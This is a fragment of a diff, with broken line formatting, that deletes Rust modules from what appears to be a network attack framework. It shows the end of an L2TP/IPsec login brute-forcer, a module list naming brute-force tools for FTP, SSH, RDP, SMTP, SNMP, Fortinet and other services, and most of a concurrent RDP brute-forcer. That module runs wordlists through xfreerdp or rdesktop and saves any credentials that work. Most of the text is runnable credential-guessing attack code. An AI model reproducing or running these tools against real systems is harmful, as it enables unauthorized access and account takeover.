println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempts L2TP/IPsec VPN login
|
||||
///
|
||||
/// Note: L2TP/IPsec authentication is complex and requires:
|
||||
/// - Root privileges for IPsec operations
|
||||
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
|
||||
/// - IPsec phase (machine authentication with PSK/certificates)
|
||||
/// - L2TP phase (user authentication with username/password)
|
||||
///
|
||||
/// This implementation provides the framework. A full implementation would need to:
|
||||
/// - Create temporary configuration files dynamically
|
||||
/// - Use ipsec/strongswan commands to establish IPsec tunnel
|
||||
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
|
||||
/// - Parse connection status and authentication responses
|
||||
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Try using strongswan (ipsec/strongswan) if available
|
||||
let strongswan_check = Command::new("which")
|
||||
.arg("ipsec")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
|
||||
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Fallback: try xl2tpd if available
|
||||
let xl2tpd_check = Command::new("which")
|
||||
.arg("xl2tpd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
|
||||
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Try using system L2TP tools (Windows: rasdial, Linux: various)
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
// Try using pppd with l2tp plugin if available
|
||||
let pppd_check = Command::new("which")
|
||||
.arg("pppd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
|
||||
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
|
||||
}
|
||||
|
||||
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Extract IP address from addr (remove port if present)
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary directory for config files
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
|
||||
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
|
||||
|
||||
// Build IPsec configuration
|
||||
let psk_value = psk.as_deref().unwrap_or("default");
|
||||
let ipsec_conf = format!(
|
||||
r#"conn {}
|
||||
type=transport
|
||||
authby=secret
|
||||
left=%defaultroute
|
||||
right={}
|
||||
rightprotoport=17/1701
|
||||
auto=start
|
||||
keyexchange=ikev1
|
||||
ike=aes128-sha1-modp1024
|
||||
esp=aes128-sha1
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build secrets file
|
||||
let ipsec_secrets = format!(
|
||||
r#"{} : PSK "{}"
|
||||
{} : XAUTH "{}"
|
||||
"#,
|
||||
server_ip, psk_value, username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&ipsec_conf_path, ipsec_conf)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
|
||||
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
|
||||
|
||||
// Set permissions on secrets file (should be 600)
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
|
||||
perms.set_mode(0o600);
|
||||
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
|
||||
}
|
||||
|
||||
// Try to establish connection using ipsec
|
||||
// Note: This requires root privileges and proper strongswan setup
|
||||
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
|
||||
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
|
||||
// doesn't easily support that. This is a framework implementation.
|
||||
// In practice, you might need to:
|
||||
// 1. Run as root
|
||||
// 2. Temporarily modify system config files, or
|
||||
// 3. Use strongswan's swanctl with custom configs
|
||||
|
||||
// Try using ipsec up command (requires proper system configuration)
|
||||
let mut child = Command::new("ipsec")
|
||||
.arg("up")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
// Exit code 0 typically means success
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(anyhow!("strongswan error: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("ipsec")
|
||||
.arg("down")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&ipsec_conf_path);
|
||||
let _ = std::fs::remove_file(&ipsec_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// xl2tpd requires configuration files
|
||||
// Create temporary config files for this attempt
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
|
||||
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
|
||||
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Build xl2tpd config
|
||||
let xl2tpd_conf = format!(
|
||||
r#"[lac {}]
|
||||
lns = {}
|
||||
ppp debug = no
|
||||
pppoptfile = /etc/ppp/options.xl2tpd
|
||||
length bit = yes
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build PPP secrets (CHAP)
|
||||
let ppp_secrets = format!(
|
||||
r#"{} * {} *
|
||||
"#,
|
||||
username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
|
||||
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
|
||||
std::fs::write(&ppp_secrets_path, ppp_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
|
||||
|
||||
// Try to connect using xl2tpd-control
|
||||
// Note: xl2tpd must be running and configured
|
||||
let mut child = Command::new("xl2tpd-control")
|
||||
.arg("connect")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("xl2tpd-control")
|
||||
.arg("disconnect")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&xl2tpd_conf_path);
|
||||
let _ = std::fs::remove_file(&ppp_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// pppd with L2TP plugin
|
||||
// This requires proper configuration and typically root privileges
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary options file for pppd
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
|
||||
|
||||
let options_content = format!(
|
||||
r#"noauth
|
||||
user {}
|
||||
password {}
|
||||
plugin pppol2tp.so
|
||||
pppol2tp_server {}
|
||||
"#,
|
||||
username, password, server_ip
|
||||
);
|
||||
|
||||
std::fs::write(&options_file, options_content)
|
||||
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
|
||||
|
||||
let mut child = Command::new("pppd")
|
||||
.arg("nodetach")
|
||||
.arg("file")
|
||||
.arg(&options_file)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// pppd returns 0 on successful connection
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up temp file
|
||||
let _ = std::fs::remove_file(&options_file);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"l2tp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,521 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== RDP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "rdp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
// Count lines for display
|
||||
let user_count = count_lines(&usernames_file_path)?;
|
||||
if user_count == 0 {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", user_count);
|
||||
|
||||
let password_count = count_lines(&passwords_file_path)?;
|
||||
if password_count == 0 {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", password_count);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
// Try every password with every user - read line by line
|
||||
let user_file = File::open(&usernames_file_path)?;
|
||||
let user_reader = BufReader::new(user_file);
|
||||
|
||||
for user_line in user_reader.lines() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let user = match user_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if user.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Open password file for each user
|
||||
let pass_file = File::open(&passwords_file_path)?;
|
||||
let pass_reader = BufReader::new(pass_file);
|
||||
|
||||
for pass_line in pass_reader.lines() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pass = match pass_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if pass.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Try passwords sequentially, cycling through users - read line by line
|
||||
let pass_file = File::open(&passwords_file_path)?;
|
||||
let pass_reader = BufReader::new(pass_file);
|
||||
|
||||
// Load users into memory for cycling (needed for modulo access)
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
|
||||
for (i, pass_line) in pass_reader.lines().enumerate() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pass = match pass_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if pass.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let user = users[i % users.len()].clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
|
||||
// Check if xfreerdp is available
|
||||
let xfreerdp_check = Command::new("which")
|
||||
.arg("xfreerdp")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
let use_xfreerdp = if let Ok(output) = xfreerdp_check {
|
||||
output.status.success()
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if !use_xfreerdp {
|
||||
// Fallback: try rdesktop if xfreerdp is not available
|
||||
let rdesktop_check = Command::new("which")
|
||||
.arg("rdesktop")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
let use_rdesktop = if let Ok(output) = rdesktop_check {
|
||||
output.status.success()
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if use_rdesktop {
|
||||
return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
|
||||
}
|
||||
|
||||
return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
|
||||
}
|
||||
|
||||
// Use xfreerdp for authentication
|
||||
let mut child = Command::new("xfreerdp")
|
||||
.arg(format!("/v:{}", addr))
|
||||
.arg(format!("/u:{}", user))
|
||||
.arg(format!("/p:{}", pass))
|
||||
.arg("/cert:ignore")
|
||||
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
|
||||
.arg("+auth-only") // Attempt authentication without full desktop session
|
||||
.arg("/log-level:OFF")
|
||||
.arg("/sec:nla") // Use Network Level Authentication
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()?;
|
||||
|
||||
// Wait for process with timeout
|
||||
match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check exit code - 0 typically means success
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(anyhow!("Process error: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout - kill the process
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
|
||||
// Fallback to rdesktop (less reliable but sometimes available)
|
||||
let mut child = Command::new("rdesktop")
|
||||
.arg("-u")
|
||||
.arg(user)
|
||||
.arg("-p")
|
||||
.arg(pass)
|
||||
.arg("-n")
|
||||
.arg("auth-only")
|
||||
.arg(addr)
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()?;
|
||||
|
||||
match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => Ok(status.success()),
|
||||
Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
